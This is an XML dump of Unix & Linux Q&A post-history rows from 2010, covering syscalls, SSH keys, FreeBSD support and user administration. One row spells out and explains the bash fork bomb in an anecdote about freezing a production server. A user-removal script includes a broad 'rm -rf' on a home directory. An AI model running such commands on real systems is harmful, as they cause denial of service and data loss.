  <row Id="1472" PostHistoryTypeId="2" PostId="800" RevisionGUID="75eb3d41-830b-444d-a18b-b7ec3f300029" CreationDate="2010-08-19T15:08:11.670" UserId="2282" Text="[Tripwire][1]&#xD;&#xA;&#xD;&#xA;Is an open source (though there's a closed source version) integrity checker that uses hashes to detect file modifications left behind by intruders.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sourceforge.net/projects/tripwire/" />
  <row Id="1473" PostHistoryTypeId="2" PostId="801" RevisionGUID="19036e91-9b8c-46d6-857a-ad22dab48f3f" CreationDate="2010-08-19T15:19:45.477" UserId="653" Text="None of the implementations you found matches the prototype in sys/stat.h Maybe searching for an include statement with this header file would be more successful?" />
  <row Id="1474" PostHistoryTypeId="2" PostId="802" RevisionGUID="a7c4cb67-30a2-4477-8429-210f1e3660fa" CreationDate="2010-08-19T15:23:37.427" UserId="672" Text="Why don’t you check http://sectools.org/" />
  <row Id="1475" PostHistoryTypeId="2" PostId="803" RevisionGUID="0a52feb1-7381-45d6-a1da-0225278f492e" CreationDate="2010-08-19T15:26:02.360" UserId="452" Text="[DenyHosts][1] for SSH server.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/DenyHosts" />
  <row Id="1476" PostHistoryTypeId="2" PostId="804" RevisionGUID="093f1187-70b2-4572-82f0-bef053db412b" CreationDate="2010-08-19T15:28:35.060" UserId="138" Text="System calls aren't handled like regular function calls.  It takes special code to make the transition from user space to kernel space, which amount to inline assembly code injected into your program at the call site.&#xD;&#xA;&#xD;&#xA;In `include/linux/syscalls.h` under your kernel source directory, you find this:&#xD;&#xA;&#xD;&#xA;    asmlinkage long sys_mkdir(const char __user *pathname, int mode);&#xD;&#xA;&#xD;&#xA;Then in `/usr/include/asm*/unisth.d`, you find this:&#xD;&#xA;&#xD;&#xA;    #define __NR_mkdir                              83&#xD;&#xA;    __SYSCALL(__NR_mkdir, sys_mkdir)&#xD;&#xA;&#xD;&#xA;This code is saying mkdir(2) is system call #83.  That is to say, system calls are called by number, not by address as with normal functions, because it's not really a function in the way you understand it.  The inline assembly glue code I mentioned above uses this to make the transition from user to kernel space, taking your parameters along with it.  Another bit of evidence that things are a little weird here is that there isn't always a strict parameter list for system calls: `open(2)`, for instance, can take either 2 or 3 parameters, a trick C++ knows how to do, but C doesn't, yet the syscall interface is nominally C-compatible.&#xD;&#xA;&#xD;&#xA;To answer your first question, there is no single file where `mkdir()` exists.  Linux supports many different file systems and each one has its own implementation of the &quot;mkdir&quot; operation.  The abstraction layer that lets the kernel hide all that behind a single system call is called the VFS.  So, you probably want to start digging in `fs/namei.c`, with `vfs_mkdir()`.  The actual implementations of the low-level file system modifying code are elsewhere.  For instance, the ext3 implementation is called `ext3_mkdir()`, defined in `fs/ext3/namei.c`.&#xD;&#xA;&#xD;&#xA;As for your second question, yes there are patterns to all this, but not a single rule.  What you actually need is a fairly broad understanding of how the kernel works in order to figure out where you should look for any particular system call.  Not all system calls involve the VFS, so their kernel-side call chains don't all start in `fs/namei.c`.  `mmap(2)`, for instance, starts in `mm/mmap.c`, because it's part of the memory management (&quot;mm&quot;) subsystem of the kernel.&#xD;&#xA;&#xD;&#xA;I recommend you get a copy of &quot;&lt;a href=&quot;http://oreilly.com/catalog/9780596000028&quot;&gt;Understanding the Linux Kernel&lt;/a&gt;&quot; by Bovet and Cesati." />
  <row Id="1478" PostHistoryTypeId="5" PostId="804" RevisionGUID="4f4a3dfc-22b3-480d-b8fd-22427e743af9" CreationDate="2010-08-19T15:46:33.113" UserId="138" Comment="minor clarifications" Text="System calls aren't handled like regular function calls.  It takes special code to make the transition from user space to kernel space, basically a bit of inline assembly code injected into your program at the call site.  The kernel side code that &quot;catches&quot; the system call is also low-level stuff you probably don't need to understand deeply, at least at first.&#xD;&#xA;&#xD;&#xA;In `include/linux/syscalls.h` under your kernel source directory, you find this:&#xD;&#xA;&#xD;&#xA;    asmlinkage long sys_mkdir(const char __user *pathname, int mode);&#xD;&#xA;&#xD;&#xA;Then in `/usr/include/asm*/unisth.d`, you find this:&#xD;&#xA;&#xD;&#xA;    #define __NR_mkdir                              83&#xD;&#xA;    __SYSCALL(__NR_mkdir, sys_mkdir)&#xD;&#xA;&#xD;&#xA;This code is saying mkdir(2) is system call #83.  That is to say, system calls are called by number, not by address as with normal functions, because it's not really a function in the way you understand it.  The inline assembly glue code I mentioned above uses this to make the transition from user to kernel space, taking your parameters along with it.  Another bit of evidence that things are a little weird here is that there isn't always a strict parameter list for system calls: `open(2)`, for instance, can take either 2 or 3 parameters, a trick C++ knows how to do, but C doesn't, yet the syscall interface is nominally C-compatible.&#xD;&#xA;&#xD;&#xA;To answer your first question, there is no single file where `mkdir()` exists.  Linux supports many different file systems and each one has its own implementation of the &quot;mkdir&quot; operation.  The abstraction layer that lets the kernel hide all that behind a single system call is called the VFS.  So, you probably want to start digging in `fs/namei.c`, with `vfs_mkdir()`.  The actual implementations of the low-level file system modifying code are elsewhere.  For instance, the ext3 implementation is called `ext3_mkdir()`, defined in `fs/ext3/namei.c`.&#xD;&#xA;&#xD;&#xA;As for your second question, yes there are patterns to all this, but not a single rule.  What you actually need is a fairly broad understanding of how the kernel works in order to figure out where you should look for any particular system call.  Not all system calls involve the VFS, so their kernel-side call chains don't all start in `fs/namei.c`.  `mmap(2)`, for instance, starts in `mm/mmap.c`, because it's part of the memory management (&quot;mm&quot;) subsystem of the kernel.&#xD;&#xA;&#xD;&#xA;I recommend you get a copy of &quot;&lt;a href=&quot;http://oreilly.com/catalog/9780596000028&quot;&gt;Understanding the Linux Kernel&lt;/a&gt;&quot; by Bovet and Cesati." />
  <row Id="1481" PostHistoryTypeId="2" PostId="806" RevisionGUID="e01eab46-1200-45dd-bb6f-47fad25946d8" CreationDate="2010-08-19T16:28:49.997" UserId="305" Text="You don't have to have the same username on both mashines. As long as you generate the key (`ssh-keygen`) you have to copy line from `~/.ssh/id_rsa.pub` or `~/.ssh/id_dsa.pub` (depending on type of key) from local server and append it to `~/.ssh/authorized_keys` on remote.&#xD;&#xA;&#xD;&#xA;    % ssh-keygen&#xD;&#xA;    % cat ~/.ssh/id_*.pub | ssh remoteuser@remoteserver 'cat &gt; .ssh/authorized_keys'&#xD;&#xA;&#xD;&#xA;If you don't want to type `remoteuser` each time append to `~/.ssh/config`:&#xD;&#xA;&#xD;&#xA;    Host remoteserver&#xD;&#xA;        User remoteuser&#xD;&#xA;&#xD;&#xA;PS. The *name* of key may be in form of `localuser@localhost` but it is **only a name**. It can be just as well `myfavouritekey@myfavouritecomputer` and noone would care." />
  <row Id="1482" PostHistoryTypeId="2" PostId="807" RevisionGUID="c1cca0d1-7166-4765-b7f7-0a419c5a511e" CreationDate="2010-08-19T16:33:50.740" UserId="305" Text="I have 8.0-RELEASE-p4 + few ports installed. I wonder wheather I should update to 8,1.&#xD;&#xA;&#xD;&#xA;1. How long is 8.0 supported?&#xD;&#xA;2. How to update the system? I couldn't find anything about it in handbook." />
  <row Id="1483" PostHistoryTypeId="1" PostId="807" RevisionGUID="c1cca0d1-7166-4765-b7f7-0a419c5a511e" CreationDate="2010-08-19T16:33:50.740" UserId="305" Text="Updating FreeBSD 8.0 to 8.1 (methods and policy)" />
  <row Id="1484" PostHistoryTypeId="3" PostId="807" RevisionGUID="c1cca0d1-7166-4765-b7f7-0a419c5a511e" CreationDate="2010-08-19T16:33:50.740" UserId="305" Text="éfreebsdàéupgradeà" />
  <row Id="1485" PostHistoryTypeId="5" PostId="573" RevisionGUID="c8639ed8-a44c-4132-b679-558317e73ab6" CreationDate="2010-08-19T16:52:56.023" UserId="325" Comment="Emphisize the desire to see more of the command inside KSysGuard." Text="I often have several java programs running and I can't tell which one needs to be killed. The command section of the process table only shows java, but doesn't tell me which jar or class files it is running.&#xD;&#xA;Edit: Is there a way to see more of the command call from withing KSysGuard?" />
  <row Id="1486" PostHistoryTypeId="4" PostId="658" RevisionGUID="acca561a-9a88-4921-bd3f-898bdaf689fb" CreationDate="2010-08-19T16:59:21.987" UserId="4" Comment="edited title" Text="linux: How can I view all UUIDs for all available disks on my system?" />
  <row Id="1487" PostHistoryTypeId="5" PostId="761" RevisionGUID="23547107-23ca-402c-9013-5e972cafc88e" CreationDate="2010-08-19T17:04:25.100" UserId="4" Comment="There is no `vipw`, and &quot;we're just making minor edits&quot; anyways.; added 91 characters in body" Text="vi and CAPS-LOCK vs. /etc/passwd&#xD;&#xA;&#xD;&#xA;0. Connect to an old Solaris box using and old serial terminal which doesn't refhresh the screen correctly.&#xD;&#xA;1. `su -`&#xD;&#xA;1. `vi /etc/passwd`. There is no `vipw`, and &quot;we're just making minor edits&quot; anyways.&#xD;&#xA;2. Hit CAPS-LOCK key and don't notice.&#xD;&#xA;3. Hit 'j' a couple times to scroll down. Ignore the fact that you actually just typed `J` (&quot;Justify&quot;), which combines this line with the next line. The serial terminal screen was not refreshing correctly, so you didn't see that you just combined the first 5 lines into one Loooooong line, thereby corrupting the first 5 users ('root', 'daemon', etc).&#xD;&#xA;4. Finish your OTHER intended edits to the file, way down at the bottom.&#xD;&#xA;4. Save file.&#xD;&#xA;5. Log out.&#xD;&#xA;&#xD;&#xA;I did this once.  Amazingly, the system remained functional for months. Cronjobs ran fine, no errors stood out in the logfiles.&#xD;&#xA;&#xD;&#xA;We didn't notice this problem until we rebooted the system months later and couldn't log in at the console. `ps` showed a bunch of jobs owned by UID '0' not by user 'root'.&#xD;&#xA;&#xD;&#xA;You could not log in as root, nor run `su` or `su -`, and there was no `sudo` on this box. There was no floppy drive, the CD-ROM was busted and no USB ports (so no external CD-ROM). Single user mode did not work, because you need to type in the password for root, and that comes from /etc/passwd ." />
  <row Id="1488" PostHistoryTypeId="2" PostId="808" RevisionGUID="689d0f03-d3b8-48b3-824b-73a3e5102609" CreationDate="2010-08-19T17:05:36.250" UserId="351" Text="OpenBSD has mtree(8): http://www.openbsd.org/cgi-bin/man.cgi?query=mtree&#xD;&#xA;It checks whether any files have changed in a given directory hierarchy.&#xD;&#xA;" />
  <row Id="1489" PostHistoryTypeId="5" PostId="695" RevisionGUID="7239b582-574e-4331-b09c-332afedf67e7" CreationDate="2010-08-19T17:16:06.327" UserId="138" Comment="Added the &quot;X&quot;es for &quot;Mac OS X&quot;, and tweaked the grammar a bit" Text="Discussing with Mac owners, I got several versions of where Mac OS X comes from. It is known to have some root in BSD, but how much, and where?&#xD;&#xA;&#xD;&#xA;Some say that Mac OS X has a FreeBSD kernel, with all the utilities above that makes it an OS being Mac specific. (Not speaking about user apps here, only all of the init, ls, cd, and others. *binutils?* )&#xD;&#xA;&#xD;&#xA;Others say Mac OS X is a Darwin kernel, that is pure Mac, and that the OS utilities come from BSD.&#xD;&#xA;&#xD;&#xA;Where's the truth?" />
  <row Id="1490" PostHistoryTypeId="4" PostId="695" RevisionGUID="7239b582-574e-4331-b09c-332afedf67e7" CreationDate="2010-08-19T17:16:06.327" UserId="138" Comment="Added the &quot;X&quot;es for &quot;Mac OS X&quot;, and tweaked the grammar a bit" Text="Where does Mac OS X come from?" />
  <row Id="1491" PostHistoryTypeId="5" PostId="70" RevisionGUID="9c8472af-b469-4dfe-9438-c3370e88f5ce" CreationDate="2010-08-19T17:21:09.423" UserId="138" Comment="capitalization fixes" Text="I want to run multiple Bash shell scripts in parallel. However, I want to avoid race conditions. What Unix commands are *truly* atomic that I could use for this purpose, and how can I use them?" />
  <row Id="1492" PostHistoryTypeId="4" PostId="70" RevisionGUID="9c8472af-b469-4dfe-9438-c3370e88f5ce" CreationDate="2010-08-19T17:21:09.423" UserId="138" Comment="capitalization fixes" Text="What Unix commands can be used as a semaphore/lock?" />
  <row Id="1493" PostHistoryTypeId="6" PostId="70" RevisionGUID="9c8472af-b469-4dfe-9438-c3370e88f5ce" CreationDate="2010-08-19T17:21:09.423" UserId="138" Comment="capitalization fixes" Text="éscriptingàébashàésemaphoreà" />
  <row Id="1494" PostHistoryTypeId="5" PostId="780" RevisionGUID="12868976-ac40-4736-af2a-4ddacf4778b9" CreationDate="2010-08-19T17:24:53.897" UserId="138" Comment="typo fix to previous" Text="I have been using &lt;a href=&quot;http://www.altova.com/xml-editor/&quot;&gt;Altova XML Editor&lt;/a&gt; on Windows for a long time.  It has a wonderful feature that lets you view XML files in &quot;grid view.&quot; This makes life easy when reading very complex XML. My question is, is there an XML editor available on Linux with a similar feature?&#xD;&#xA;&#xD;&#xA;**EDIT**:&#xD;&#xA;I am looking for some free alternative. Following is an example of grid view:&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/Jji1L.gif" />
  <row Id="1495" PostHistoryTypeId="4" PostId="780" RevisionGUID="12868976-ac40-4736-af2a-4ddacf4778b9" CreationDate="2010-08-19T17:24:53.897" UserId="138" Comment="typo fix to previous" Text="Is there an XML file editor for Linux with grid view support?" />
  <row Id="1496" PostHistoryTypeId="6" PostId="780" RevisionGUID="12868976-ac40-4736-af2a-4ddacf4778b9" CreationDate="2010-08-19T17:24:53.897" UserId="138" Comment="typo fix to previous" Text="éxmlàéguiàéeditorsà" />
  <row Id="1497" PostHistoryTypeId="5" PostId="163" RevisionGUID="4759e06e-9bdd-4f58-a564-c051427bce42" CreationDate="2010-08-19T17:28:05.340" UserId="138" Comment="grammar and spelling fixes" Text="Does Darwin have any features that are specific to it?  Do other Unixes have features that Darwin lacks?" />
  <row Id="1498" PostHistoryTypeId="4" PostId="163" RevisionGUID="4759e06e-9bdd-4f58-a564-c051427bce42" CreationDate="2010-08-19T17:28:05.340" UserId="138" Comment="grammar and spelling fixes" Text="What features does Darwin have that other Unixes don't, or vice versa?" />
  <row Id="1499" PostHistoryTypeId="2" PostId="809" RevisionGUID="f0f906c2-acfc-4b91-a127-d00658b91e27" CreationDate="2010-08-19T17:38:54.933" UserId="4" Text="Can someone help explain the FreeBSD support policy? I'm looking at http://security.freebsd.org/#sup , which says:&#xD;&#xA;&#xD;&#xA;	Branch     	Release     	Type     	Release Date      	Estimated EoL&#xD;&#xA;	RELENG_6 	n/a         	n/a      	n/a               	November 30, 2010&#xD;&#xA;	RELENG_6_4 	6.4-RELEASE 	Extended 	November 28, 2008 	November 30, 2010&#xD;&#xA;	RELENG_7   	n/a         	n/a      	n/a               	last release + 2 years&#xD;&#xA;	RELENG_7_1 	7.1-RELEASE 	Extended 	January 4, 2009    	January 31, 2011&#xD;&#xA;	RELENG_7_3 	7.3-RELEASE 	Extended 	March 23, 2010     	March 31, 2012&#xD;&#xA;	RELENG_8 	n/a         	n/a      	n/a              	last release + 2 years&#xD;&#xA;	RELENG_8_0 	8.0-RELEASE 	Normal    	November 25, 2009 	November 30, 2010&#xD;&#xA;	RELENG_8_1 	8.1-RELEASE 	Extended 	July 23, 2010     	July 31, 2012&#xD;&#xA;&#xD;&#xA;We haven't decided between FreeBSD 7.x and FreeBSD 8.x yet. We want to go with a FreeBSD branch which is supported for a while.&#xD;&#xA;&#xD;&#xA;Which release will be supported for longer? RELENG_7, or RELENG_7_3 ? RELENG_7 says &quot;last release&quot;, which is a big ambiguous. " />
  <row Id="1500" PostHistoryTypeId="1" PostId="809" RevisionGUID="f0f906c2-acfc-4b91-a127-d00658b91e27" CreationDate="2010-08-19T17:38:54.933" UserId="4" Text="FreeBSD: Which branch is supported for longer?" />
  <row Id="1501" PostHistoryTypeId="3" PostId="809" RevisionGUID="f0f906c2-acfc-4b91-a127-d00658b91e27" CreationDate="2010-08-19T17:38:54.933" UserId="4" Text="éfreebsdàésupportöcycleà" />
  <row Id="1502" PostHistoryTypeId="2" PostId="810" RevisionGUID="9f3e0bde-8058-4030-a62b-28584dde510f" CreationDate="2010-08-19T17:47:14.467" UserId="32" Text="The web service could be a SOAP asmx or a WCF Service. Assumption here is that the IIS on Windows is serving the web-service and Apache on Linux with PHP 5.3 consuming it. " />
  <row Id="1503" PostHistoryTypeId="1" PostId="810" RevisionGUID="9f3e0bde-8058-4030-a62b-28584dde510f" CreationDate="2010-08-19T17:47:14.467" UserId="32" Text="How can I call a .NET web service from PHP?" />
  <row Id="1504" PostHistoryTypeId="3" PostId="810" RevisionGUID="9f3e0bde-8058-4030-a62b-28584dde510f" CreationDate="2010-08-19T17:47:14.467" UserId="32" Text="éapacheà" />
  <row Id="1505" PostHistoryTypeId="2" PostId="811" RevisionGUID="74582eb9-1f0d-454c-850e-d4bb20c9c162" CreationDate="2010-08-19T18:02:45.700" UserId="4" Text="1. According to http://security.freebsd.org/#sup, FreeBSD 8.0 is supported until November 30, 2010.&#xD;&#xA;2. We're still trying to figure out the &quot;Best way&quot; to do this. There's more then one way to do it, and the FreeBSD docs are too ambiguous. Also keep in mind that &quot;Updating FreeBSD&quot; is considered a separate topic from &quot;Updating the most software (e.g. ports and packages) on your system&quot;.&#xD;&#xA;&#xD;&#xA;The page at http://www.freebsd.org/doc/handbook/updating-freebsdupdate.html talks about updating FreeBSD.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1506" PostHistoryTypeId="2" PostId="812" RevisionGUID="3d477d96-1c9b-402d-86c8-6235f87c80cb" CreationDate="2010-08-19T18:03:24.123" UserId="305" Text="1. Minimalization of loss. If /usr is on separate partion a damaged /usr does not mean that you cannot recover /etc.&#xD;&#xA;2. Security - / cannot be always ro (/root may need to be rw etc.) but /usr can. It can be used to made ro as much as possible&#xD;&#xA;3. Using different FS. I may want to use different system for /tmp (not realible but fast for many files) and /home (have to be realible). Similary /var contains data while /usr not so /usr stability can be sacrifice but not so much as /tmp&#xD;&#xA;4. Time of fsck. Smaller partitions means that checking one is faster&#xD;&#xA;5. Mentioned filling up of partions. Although other method is quotas." />
  <row Id="1507" PostHistoryTypeId="2" PostId="813" RevisionGUID="77bf0dd8-7659-4b59-ae0a-3457d65394ac" CreationDate="2010-08-19T18:07:24.440" UserId="684" Text="I have a linux instance that I set up some time ago.  When I fire it up and log in as root there are some environment variables that I set up but I can't remember or find where they came from.  I've checked ~/.bash_profile, /etc/.bash_rc, and all the startup scripts.  I've run find and grep to no avail. I feel like I must be forgetting to look in some place obvious.  Is there a trick for figuring this out?" />
  <row Id="1508" PostHistoryTypeId="1" PostId="813" RevisionGUID="77bf0dd8-7659-4b59-ae0a-3457d65394ac" CreationDate="2010-08-19T18:07:24.440" UserId="684" Text="How to determine where an environment variable came from" />
  <row Id="1509" PostHistoryTypeId="3" PostId="813" RevisionGUID="77bf0dd8-7659-4b59-ae0a-3457d65394ac" CreationDate="2010-08-19T18:07:24.440" UserId="684" Text="éshellàébashà" />
  <row Id="1510" PostHistoryTypeId="2" PostId="814" RevisionGUID="7f9fb0e3-20a0-4669-8d27-db1e4c373837" CreationDate="2010-08-19T18:17:35.670" UserId="289" Text="The closest thing to a standard you'll get is `vi /etc/passwd`, `vi /etc/shadow`, and `vi /etc/groups`.  (Heretics may substitute `emacs`.)  Everything since then that I've found will only work on some systems.&#xD;&#xA;&#xD;&#xA;Seriously, find out what tools your OS has, and use them.  Just don't expect them to work the same on all systems.  It would be nice if they were standardized, but they aren't." />
  <row Id="1511" PostHistoryTypeId="2" PostId="815" RevisionGUID="42318b23-e15b-4463-ab09-028c0d3deb9b" CreationDate="2010-08-19T18:27:26.960" UserId="387" Text="Other than find and grep (which seem to have already failed), I'm afraid not." />
  <row Id="1512" PostHistoryTypeId="2" PostId="816" RevisionGUID="7dff885a-40a9-4a19-887c-61671a5cb775" CreationDate="2010-08-19T19:29:09.577" UserId="111" Text="First of all, this indicates a larger problem.  If you have users that you don't trust on your system, you should probably level it and re-image.&#xD;&#xA;&#xD;&#xA;With that in mind, you can do some or all of the following:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;# set up the environment&#xD;&#xA;$ BADUSER=foo # where foo is the username in question&#xD;&#xA;$ USERLINE=`grep '^$BADUSER:' /etc/passwd`&#xD;&#xA;$ BADUID=`echo $USERLINE | awk -F: '{print $3}'`&#xD;&#xA;$ BADGID=`echo $USERLINE | awk -F: '{print $4}'`&#xD;&#xA;$ BADHOMEDIR=`echo $USERLINE | awk -F: '{print $6}'`&#xD;&#xA;&#xD;&#xA;# disable the user's future login&#xD;&#xA;$ sudo chsh -s /bin/false $BADUSER&#xD;&#xA;&#xD;&#xA;# kill all of the user's processes&#xD;&#xA;$ BADPROCS=`ps auwx | grep '^$BADUSER ' | awk '{print $2}'`&#xD;&#xA;$ sudo kill -9 $BADPROCS&#xD;&#xA;&#xD;&#xA;# back up/clear the user's home directory&#xD;&#xA;$ mkdir -p ~/backup/home-backup/&#xD;&#xA;$ sudo tar -cfj ~/backup/home-backup/$BADUSER-`date +%F`.tar.bz2 $BADHOMEDIR&#xD;&#xA;$ sudo rm -rf $BADHOMEDIR/.* $BADHOMEDIR/*&#xD;&#xA;&#xD;&#xA;# find all files owned by user&#xD;&#xA;$ sudo find / -user $BADUSER &gt; ~/backup/$BADUSER-files-`date +%F`.txt&#xD;&#xA;&#xD;&#xA;# remove user&#xD;&#xA;$ sudo userdel $BADUSER&#xD;&#xA;&lt;/pre&gt;" />
  <row Id="1513" PostHistoryTypeId="2" PostId="817" RevisionGUID="0cafd995-472a-49ea-898e-206e11c7980f" CreationDate="2010-08-19T19:32:30.300" UserId="600" Text="The hosting system should not matter, calling a web service is the same (in fact, that's one of the points of setting up a web service).&#xD;&#xA;&#xD;&#xA;PHP has built in SOAP objects ([Manual Entry for it][1]).  Those should be able to access it without any issue.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://php.net/manual/en/book.soap.php &quot;PHP Manual entries&quot;" />
  <row Id="1514" PostHistoryTypeId="2" PostId="818" RevisionGUID="32971417-2ad7-428d-8107-884641f3367e" CreationDate="2010-08-19T19:37:14.267" UserId="689" Text="This probably doesn't answer your question directly, but I've found `strace` to be really cool when trying to understand the underlying system calls, in action, that are made for even the simplest shell commands.  e.g.&#xD;&#xA;&#xD;&#xA;    strace -o trace.txt mkdir mynewdir&#xD;&#xA;&#xD;&#xA;The system calls for the command `mkdir mynewdir` will be dumped to trace.txt for your viewing pleasure." />
  <row Id="1515" PostHistoryTypeId="2" PostId="819" RevisionGUID="8be9cf72-f1e3-4b94-873f-6961c50d2c3f" CreationDate="2010-08-19T19:41:47.970" UserId="690" Text="You also might want to see [how to rebuild the base system when updating][1]. That is how I do it...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freebsd.org/doc/handbook/makeworld.html" />
  <row Id="1516" PostHistoryTypeId="2" PostId="820" RevisionGUID="93eed7aa-4520-416b-bab7-ff8513e14427" CreationDate="2010-08-19T19:45:33.780" UserId="690" Text="Darwin is based on FreeBSD. One cool feature that is *not* present in other Unix operating systems (in my experience) is the **Berkeley Packet Filter**, aka `/dev/bpf`. This is a very versatile *device* you can use for packet capturing." />
  <row Id="1517" PostHistoryTypeId="5" PostId="536" RevisionGUID="94fc4eb1-143d-44b6-9cc1-9d909c4c4238" CreationDate="2010-08-19T19:48:26.643" UserId="163" Comment="added 517 characters in body" Text="Had a friend run `:() { :|:&amp;}; :` on a remote server where we didn't have console access to. Couldn't reboot it, completely frozen, *production server*. &#xD;&#xA;&#xD;&#xA;Broken down (by request) to make it a bit more readable.&#xD;&#xA;&#xD;&#xA;    :() # Define ':' as a function. Every time we say ':' execute the following code block&#xD;&#xA;    { # Start of code block&#xD;&#xA;        : # Call ':' again. &#xD;&#xA;        | # Pipe output to...&#xD;&#xA;        : # Another ':' &#xD;&#xA;        &amp; # Disown process. &#xD;&#xA;        # All on one line this would read :|:&amp;, &#xD;&#xA;    } # End of code block&#xD;&#xA;    ; # End definition of ':' as a function&#xD;&#xA;    : # Call ':'&#xD;&#xA;&#xD;&#xA;It might be easier to look at it as &#xD;&#xA;&#xD;&#xA;    bomb() { bomb|bomb&amp; }; bomb&#xD;&#xA;" />
  <row Id="1519" PostHistoryTypeId="2" PostId="821" RevisionGUID="d91573cf-fe37-42c5-807e-9bf9afe5415f" CreationDate="2010-08-19T20:10:13.830" UserId="690" Text="I am currently using `rxvt-unicode` as a terminal emulator. Since I also like the configurability of terminal emulators from GNOME and KDE, I wonder whether there is some kind of replacement for `rxvt-unicode` with *more* features but *not* as many dependencies as the GNOME or KDE terminals." />
  <row Id="1520" PostHistoryTypeId="1" PostId="821" RevisionGUID="d91573cf-fe37-42c5-807e-9bf9afe5415f" CreationDate="2010-08-19T20:10:13.830" UserId="690" Text="Is there a (light-weight) replacement for `rxvt-unicode`?" />
  <row Id="1521" PostHistoryTypeId="3" PostId="821" RevisionGUID="d91573cf-fe37-42c5-807e-9bf9afe5415f" CreationDate="2010-08-19T20:10:13.830" UserId="690" Text="éterminalàéxtermöterminalà" />
  <row Id="1522" PostHistoryTypeId="2" PostId="822" RevisionGUID="112a8f58-fb77-4f75-8c9c-a130af96534a" CreationDate="2010-08-19T20:22:55.687" UserId="123" Text="I'm using Ubuntu with several users and I want to make folders viewable just for a specific user. Any idea how to do it?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="1523" PostHistoryTypeId="1" PostId="822" RevisionGUID="112a8f58-fb77-4f75-8c9c-a130af96534a" CreationDate="2010-08-19T20:22:55.687" UserId="123" Text="How to make a folder private?" />
  <row Id="1524" PostHistoryTypeId="3" PostId="822" RevisionGUID="112a8f58-fb77-4f75-8c9c-a130af96534a" CreationDate="2010-08-19T20:22:55.687" UserId="123" Text="éubuntuàésecurityà" />
  <row Id="1525" PostHistoryTypeId="2" PostId="823" RevisionGUID="133e0c57-be35-4679-9197-44c5e5ac63b3" CreationDate="2010-08-19T20:23:28.010" UserId="646" Text="@Cian is correct. Other than using `find` and `grep`, there isn't much you can do to discover where it came from. Knowing that it is indeed an environment variable, I would attempt focusing your search in /etc/ and your home directory. Replace `VARIABLE` with the appropriate variable you're searching for:&#xD;&#xA;&#xD;&#xA;`$ grep -r VARIABLE /etc/*`&#xD;&#xA;&#xD;&#xA;`$ grep -r VARIABLE ~/.*`" />
  <row Id="1526" PostHistoryTypeId="5" PostId="766" RevisionGUID="bc9242a4-c9a6-4b3c-823f-1849a6d558c2" CreationDate="2010-08-19T20:25:25.463" UserId="183" Comment="added 114 characters in body" Text="All of these tools are ultimately built to edit text files for you.  If you want to know how to manage users and groups over systems, you should get familiar with these underlying text files.  Lucky for you, there's just two of them, `/etc/passwd` and `/etc/group`.  There are also complementary `/etc/shadow` and `/etc/gshadow` files for shadowing passwd and group respectively." />
  <row Id="1527" PostHistoryTypeId="2" PostId="824" RevisionGUID="9900b15e-f49a-49eb-9052-cf11ea8ed5b8" CreationDate="2010-08-19T20:27:25.067" UserId="160" Text=" 1. The 8.0-RELEASE branch will be supported until November 20, 2010.  If you want stay on the the 8 branch (RELENG-8) you will have least until July 31, 2012; if there are any update releases in that branch then you will have until at least two years past the release date of the point release  See the links given by Stefan Lasiewski.&#xD;&#xA; 2. Updating is as easy as following the [instructions](http://www.freebsd.org/releases/8.1R/announce.html).&#xD;&#xA;" />
  <row Id="1528" PostHistoryTypeId="2" PostId="825" RevisionGUID="0028671f-1580-4695-b5f4-c7ad03aa21dc" CreationDate="2010-08-19T20:36:00.617" UserId="481" Text="Edit: On second thought, I realized that I may have misunderstood the question. If you want the directory to only be visible to a specific user (i.e. for every other user, that list doesn't even show up in the directory listing), you can't do that without prohibiting other users from listing the contents of the parent directory.&#xD;&#xA;&#xD;&#xA;Old answer:&#xD;&#xA;&#xD;&#xA;Make that specific user the owner of the directory and then remove all permissions on that directory for everyone but the owner. In the shell, you'd use `chmod` to do this:&#xD;&#xA;&#xD;&#xA;    chmod 700 the_directory&#xD;&#xA;&#xD;&#xA;If you're using a filemanager, just remove all the checkmarks in the permissions-tab except the ones in the &quot;User&quot;-column (the exact details depend on the filemanager of course)." />
  <row Id="1529" PostHistoryTypeId="5" PostId="821" RevisionGUID="8ef89fd2-04f8-457e-8c7e-c07f4f5c973a" CreationDate="2010-08-19T20:39:45.833" UserId="690" Comment="added missing features (thanks for pointing this out!)" Text="I am currently using `rxvt-unicode` as a terminal emulator. Since I also like the configurability of terminal emulators from GNOME and KDE, I wonder whether there is some kind of replacement for `rxvt-unicode` with *more* features but *not* as many dependencies as the GNOME or KDE terminals.&#xD;&#xA;&#xD;&#xA;Specifically, I am interested in the following:&#xD;&#xA;&#xD;&#xA;* Tabs&#xD;&#xA;* Font size changes on the fly (via `CTRL`+`+` or something similar)&#xD;&#xA;* UTF-8 support (OK, `urxvt` already has this, obviously)&#xD;&#xA;* Possibility to open a new tab/new window at the *current directory*" />
  <row Id="1530" PostHistoryTypeId="2" PostId="826" RevisionGUID="712bb26f-8a50-4817-931a-4810fcd9a946" CreationDate="2010-08-19T20:41:09.497" UserId="160" Text="It's difficult to know exactly how long a branch (RELENG_X) will be supported since FreeBSD does not have a fixed release schedule.&#xD;&#xA;&#xD;&#xA;As you can see from your chart, FreeBSD branches are supported for 2 years from the last release.  What this means is that since there is an [expected 7.4](http://www.freebsd.org/releases/7.3R/announce.html) release, the FreeBSD 7 branch will supported for two years past whatever the release date of 7.4 is.  So, in this case you will have until at least August 31, 2012 on branch RELENG_7 (if it were to be released right now--I don't think it will be but that's the math)." />
